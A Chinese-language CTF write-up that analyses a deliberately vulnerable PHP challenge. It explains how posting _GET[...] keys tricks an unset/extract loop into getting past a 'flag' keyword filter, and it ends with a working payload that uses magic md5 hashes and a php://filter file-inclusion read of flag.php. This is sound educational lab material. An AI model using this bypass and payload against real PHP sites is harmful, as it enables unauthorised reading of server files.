unset_记一道CTF题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['daiker']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['daiker'])){
include($_GET['file']);
}
}

?>

要得到flag,可以构造出2个0e开头的md5,文件包含flag.php,用php伪协议读取文件,这些没有难度,难点在于waf函数过滤了flag,无法直接get传入flag的值

关键的代码在这,存在漏洞,仔细分析一下

1
2
3
4
5
6
7
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
  1. foreach(array_expression as $value) statement
    第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)
  2. foreach(array_expression as $key => $value) statement
    第二种格式做同样的事,只是除了当前单元的值以外,键值也会在每次循环中被赋给变量 $key

第一层foreach里,$__R就是_POST, _GET, _COOKIE,加上一个$就变为$_POST, $_GET, $_COOKIE

测试一下

iSIcl9.png

当传入参数是数组时:

iSIWex.png

如果我们向index.php?x=123提交一个POST请求内容为_GET[x]=123

因为?x=123,所以$_GET内容为Array([x] => 123)

处理post数据时,$__k_GET$$__k就是$_GET,也就是Array([x] => 123)

$__v是post的数组,内容也是Array([x] => 123)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
foreach(array('_POST','_GET') as $__R){
echo "\$\$__R<br>";
print_r($$__R); echo "<br>";
foreach($$__R as $__k => $__v) {
echo "\$\$__k<br>";
print_r($$__k); echo "<br>";
echo "\$__v<br>";
print_r($__v); echo "<br>";
var_dump($$__k==$__v);echo "<br>";
}
}

iSI2O1.png

测试一下,发现$$__k==$__v

所以unset($$__k)就把$_GET变量销毁了,$_GET变量没了waf函数自然也就能通过了

继续执行extract(), 从数组中将变量导入到当前的符号表

1
2
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

执行这两句后$_GET变量又回来了

一开始没明白是怎么又把$_GET变量给还原的,本地测试了下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
foreach(array('_POST', '_GET') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
echo "before extract()<br>";
echo "post:<br>";
var_dump($_POST);echo "<br>";
echo "get:<br>";
var_dump($_GET);echo "<br>";

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

echo "<br>";echo "<br>";
echo "after extract()<br>";
echo "get:<br>";
var_dump($_GET);

if(isset($_GET['x']))
{
echo "sss";
}

iSIgyR.png

可以看到执行extract()之前,$_POST数组的键名是_GET$_GET数组则不存在

先导入$_POST数组,而$_POST数组的键名是_GET,所以也就是导入了名为_GET的变量,也就是$_GET变量,所以$_GET成功被还原

然后如此构造payload

1
2
3
4
?flag=QNKCDZO&daiker=s878926199a&file=php://filter/read=convert.base64-encode/resource=flag.php

POST:
_GET[flag]=QNKCDZO&_GET[daiker]=s878926199a&_GET[file]=php://filter/read=convert.base64-encode/resource=flag.php